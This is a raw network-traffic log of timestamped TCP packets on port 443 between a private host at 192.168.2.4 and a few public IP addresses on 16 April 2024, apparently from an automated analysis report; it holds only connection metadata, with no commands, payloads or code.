Apr 16, 2024 21:39:46.446826935 CEST	443	49743	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.446829081 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.491738081 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.494806051 CEST	49743	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.509238958 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.524630070 CEST	443	49743	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.524715900 CEST	443	49743	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.524769068 CEST	49743	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.526168108 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526182890 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526240110 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526242018 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.526285887 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526304960 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526350975 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526390076 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.526391029 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.526391029 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.526403904 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.526452065 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.547302961 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.547333002 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.547368050 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.547388077 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.547419071 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.565123081 CEST	49743	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.565159082 CEST	443	49743	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.587472916 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.610044003 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.610136986 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.610222101 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.611327887 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.611366034 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.624269009 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.624284983 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.624366045 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.624381065 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.624438047 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.624460936 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.624485016 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.624505043 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.640357018 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.640376091 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.640434027 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.640456915 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.640480042 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.640508890 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.653597116 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.653620005 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.653667927 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.653682947 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.653708935 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.653734922 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.659046888 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.659127951 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.659142017 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.659167051 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.659229994 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.659648895 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.659681082 CEST	443	49742	151.101.130.137	192.168.2.4
Apr 16, 2024 21:39:46.659703970 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.659728050 CEST	49742	443	192.168.2.4	151.101.130.137
Apr 16, 2024 21:39:46.825644970 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.826091051 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.826174021 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.826659918 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.827337980 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.827438116 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:46.827730894 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:46.868117094 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108433008 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108572006 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108673096 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108792067 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108803988 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.108875990 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.108918905 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.108982086 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109038115 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.109052896 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109162092 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109215021 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.109225988 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109313011 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109395981 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109431982 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.109446049 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109539032 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109647036 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109688997 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.109707117 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.109733105 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111263990 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111345053 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111358881 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111474037 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111561060 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111608028 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111615896 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111629009 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111670017 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111681938 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111692905 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111732960 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111749887 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111790895 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111793041 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111804962 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111848116 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111861944 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111907959 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111951113 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.111959934 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.111970901 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.112019062 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.112065077 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.112077951 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.112128019 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.112149954 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.112179041 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.114069939 CEST	49745	443	192.168.2.4	104.17.3.184
Apr 16, 2024 21:39:47.114101887 CEST	443	49745	104.17.3.184	192.168.2.4
Apr 16, 2024 21:39:47.306371927 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.306467056 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.306550980 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.306723118 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.306745052 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.518758059 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.519026041 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.519056082 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.520528078 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.520591021 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.520859003 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.520939112 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.520999908 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.521009922 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.570879936 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787216902 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787328005 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787364006 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787394047 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787399054 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787456036 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787520885 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787527084 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787544966 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787586927 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787592888 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787605047 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787631989 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787868023 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787902117 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787911892 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787923098 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.787970066 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.787982941 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788568020 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788606882 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788625956 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.788636923 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788682938 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788692951 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.788703918 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.788773060 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.789380074 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.789434910 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.789499044 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.789532900 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.789551020 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.789561987 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.789587975 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.790256977 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.790297031 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.790328026 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.790343046 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.790354967 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.790379047 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.790396929 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.790472984 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.790483952 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791155100 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791193008 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791207075 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.791218996 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791259050 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791291952 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791299105 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.791311026 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.791338921 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.792011023 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792047977 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792063951 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.792074919 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792124033 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.792134047 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792944908 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792989969 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.792989969 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.793001890 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.793042898 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.793044090 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.793055058 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.793093920 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.828728914 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.828814983 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.828891039 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.829185009 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.829251051 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.891443014 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.891525030 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.891552925 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.891633987 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.891690016 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.891709089 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.892368078 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.892424107 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.892436028 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.892456055 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.892507076 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.892518997 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.893003941 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.893065929 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.893193960 CEST	49746	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.893225908 CEST	443	49746	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.896589041 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.896672964 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:47.896747112 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.896954060 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:47.896991968 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.052902937 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.053170919 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.053231955 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.055089951 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.056600094 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.056710005 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.056837082 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.104111910 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.118096113 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.118453979 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.118522882 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.119617939 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.120134115 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.120264053 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.120275021 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.120306969 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.164535046 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322037935 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322176933 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322233915 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322254896 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322283030 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322321892 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322370052 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322532892 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322582960 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322597980 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322679996 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322725058 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322734118 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322822094 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322868109 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322874069 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322945118 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.322988987 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.322997093 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323401928 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323441982 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.323450089 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323558092 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323600054 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.323606968 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323718071 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.323760033 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.323767900 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324352980 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324397087 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.324404955 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324501038 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324542046 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.324548960 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324651003 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.324701071 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.324707031 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.325133085 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.325176954 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.325185061 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.325282097 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.325325966 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.325334072 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326255083 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326294899 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.326302052 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326411963 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326451063 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.326457977 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326548100 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326586008 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.326592922 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326906919 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.326955080 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.326961994 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327059031 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327100039 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.327106953 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327208996 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327253103 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.327260971 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327883005 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.327939034 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.327946901 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.367667913 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.376466036 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.376760960 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.376821041 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.377918005 CEST	49748	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.377949953 CEST	443	49748	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.426465988 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.426574945 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.426620007 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.426666021 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.426681995 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.426697969 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.426726103 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.427290916 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.427360058 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.427372932 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.427396059 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.427428007 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.427438974 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.427464008 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.428275108 CEST	443	49747	104.17.2.184	192.168.2.4
Apr 16, 2024 21:39:48.428340912 CEST	49747	443	192.168.2.4	104.17.2.184
Apr 16, 2024 21:39:48.428352118 CEST	443	49747	104.17.2.184	192.168.2.4
